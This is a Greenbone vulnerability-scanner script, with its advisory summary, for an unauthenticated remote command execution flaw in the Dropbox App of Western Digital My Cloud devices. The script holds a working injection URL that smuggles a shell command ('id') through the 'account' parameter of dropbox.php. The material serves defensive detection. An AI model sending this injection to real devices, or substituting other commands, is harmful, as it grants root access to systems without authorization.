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Western Digital My Cloud Products Dropbox App RCE Vulnerability

🗓️ 26 Sep 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType 
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The Dropbox App of Western Digital My Cloud products is prone to an unauthenticated remote command execution (RCE) vulnerability. Successful exploit allows an attacker to execute arbitrary commands with root privileges in context of the affected application. Update the Dropbox App to version 2.00 or later

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# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE_PREFIX = "cpe:/o:wdc";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108246");
  script_version("2025-06-25T05:41:02+0000");
  script_tag(name:"last_modification", value:"2025-06-25 05:41:02 +0000 (Wed, 25 Jun 2025)");
  script_tag(name:"creation_date", value:"2017-09-26 08:00:00 +0200 (Tue, 26 Sep 2017)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("Western Digital My Cloud Products Dropbox App RCE Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wd_mycloud_consolidation.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wd-mycloud/http/detected");

  script_xref(name:"URL", value:"https://ssd-disclosure.com/ssd-advisory-remote-command-execution-in-western-digital-with-dropbox-app/");
  script_xref(name:"URL", value:"https://community.wd.com/t/new-release-my-cloud-dropbox-2-00-8-22-17/214582");

  script_tag(name:"summary", value:"The Dropbox App of Western Digital My Cloud products is prone to
  an unauthenticated remote command execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and check the response.");

  script_tag(name:"impact", value:"Successful exploit allows an attacker to execute arbitrary
  commands with root privileges in context of the affected application.");

  script_tag(name:"solution", value:"Update the Dropbox App to version 2.00 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if( ! infos = get_app_port_from_cpe_prefix( cpe:CPE_PREFIX, service:"www" ) )
  exit( 0 );

CPE = infos["cpe"];
if( ! CPE || ( "my_cloud" >!< CPE && "wd_cloud" >!< CPE ) )
  exit( 0 );

port = infos["port"];

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/Dropbox/php/dropbox.php?cmd=getBlacklist&account=;echo%20`id`;";

req = http_get_req( port:port, url:url,
                    accept_header:"application/xml, text/xml, */*; q=0.01",
                    add_headers:make_array( "Content-Type", "application/x-www-form-urlencoded" ) );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( res =~ "^HTTP/1\.[01] 200" && res =~ "uid=[0-9]+.*gid=[0-9]+" ) {

  uid = eregmatch( pattern:"(uid=[0-9]+.*gid=[0-9]+[^ ]+)", string:res );

  report  = 'By requesting the URL:\n\n';
  report += http_report_vuln_url( port:port, url:url, url_only:TRUE );
  report += '\n\nit was possible to execute the "id" command.';
  report += '\n\nResult: ' + uid[1];

  expert_info = 'Request:\n'+ req + 'Response:\n' + res;
  security_message( port:port, data:report, expert_info:expert_info );
  exit( 0 );
}

exit( 99 );

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